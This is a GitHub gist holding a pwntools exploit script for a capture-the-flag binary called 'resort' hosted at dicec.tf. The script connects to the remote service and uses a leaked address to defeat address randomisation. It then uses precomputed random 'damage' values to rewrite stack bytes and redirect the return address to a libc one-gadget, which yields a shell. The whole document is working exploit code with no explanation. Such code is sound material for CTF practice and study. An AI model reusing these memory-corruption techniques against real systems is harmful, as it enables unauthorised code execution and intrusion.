Skip to content

Instantly share code, notes, and snippets.

@pawnlord
Created March 30, 2025 23:29
Show Gist options
  • Save pawnlord/b84f3b89d6942c1d83ee6150adce69f8 to your computer and use it in GitHub Desktop.
Save pawnlord/b84f3b89d6942c1d83ee6150adce69f8 to your computer and use it in GitHub Desktop.
from pwn import *
import rand_vals as rv
def get_hex(s, delim=b"0x"):
mlprint(s)
l = s.split(delim)
numbers = []
for seg in l[1:]:
try:
numbers.append(int(seg.split()[0], 16))
except Exception:
pass
return numbers
def mlprint(s: str | list):
if type(s) == list:
print(*s, sep='\n')
else:
print(*s.split(b'\n'), sep='\n')
def hprint(*xs):
new_xs = []
for x in xs:
if type(x) == int:
new_xs.append(hex(x))
else:
new_xs.append(x)
print(*new_xs)
chal = ELF("resort_patched")
libc = ELF("libc.so.6") # A guess from the docker
DIE = -1
NOTHING = 1
actions = [NOTHING for _ in range(5000)]
latest = 0
def run(r):
global actions, latest
for i, a in enumerate(actions[:latest]):
if a == DIE:
r.sendline(b'a')
break
if a != NOTHING:
print("Action", i, "=", a)
r.sendline(str(a).encode())
r.interactive()
dmgs = []
i = 0
taken = 0
while taken < 5000:
taken += 1
item = rv.vals[i] % 4
i += 1
if item != 3:
dmg = rv.vals[i]
i += 1
dmgs.append(dmg % 255)
else:
dmgs.append(-1)
print(dmgs)
def isnothing(i):
global actions
return (actions[i] == NOTHING or actions[i] == DIE)
def sub_byte(addr_offset, val):
global actions, dmgs, latest
offset = addr_offset - 11
for i, dmg in enumerate(dmgs):
# print(dmg)
if dmg == val and isnothing(i):
actions[i] = offset
print("Action", i, "caused", dmg, "damage")
if i+1 > latest:
latest = i+1
return
print("No action found")
def set_byte(addr_offset, val):
global actions, dmgs, latest
offset = addr_offset - 11
found_zero = False
for i, dmg in enumerate(dmgs):
# print(dmg)
if not found_zero and dmg == -1 and isnothing(i):
actions[i] = offset
print("Action", i, "zeroed", addr_offset)
if i+1 > latest:
latest = i+1
found_zero = True
if found_zero and dmg == (-val) & 0xFF and isnothing(i):
actions[i] = offset
print("Action", i, "caused", dmg, "damage")
if i+1 > latest:
latest = i+1
return
print("No action found")
def set_long(addr_offset, bval, n=6):
global actions, dmgs, latest
for i in range(n):
set_byte(addr_offset+i, bval[i])
def kill_bunnies():
global latest, dmgs, actions
bunny = 2
for i in range(latest+1, 5000):
dmg = dmgs[i]
if dmg == -1:
actions[i] = bunny + 1
bunny -= 1
latest = i+1
if bunny == -1:
break
r = remote("dicec.tf", 32030)
first_resp = r.recvuntil(b' > ')
leak = get_hex(first_resp)[-1]
onegadget = 0xebce2;
retaddr = libc.symbols["__libc_start_call_main"] + 128
hprint("offsets", onegadget, retaddr)
bonegadget = p64(onegadget)
bretaddr= p64(retaddr)
sub1 = (bretaddr[0] - bonegadget[0]) & 0xFF
sub2 = (bretaddr[1] - bonegadget[1]) & 0xFF
sub3 = (bretaddr[2] - bonegadget[2]) & 0xFF
hprint("subs", sub1, sub2, sub3)
chal.address = leak - chal.symbols["print_ui"]
hprint("addrs", leak, hex(chal.address), hex(chal.symbols["print_ui"]))
bmain = p64(chal.symbols["main"])
set_long(80, p64(0))
set_long(88, p64(0))
set_long(112, p64(chal.symbols["items"] + 0x48))
sub_byte(120, sub1)
sub_byte(121, sub2)
sub_byte(122, sub3)
kill_bunnies()
run(r)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment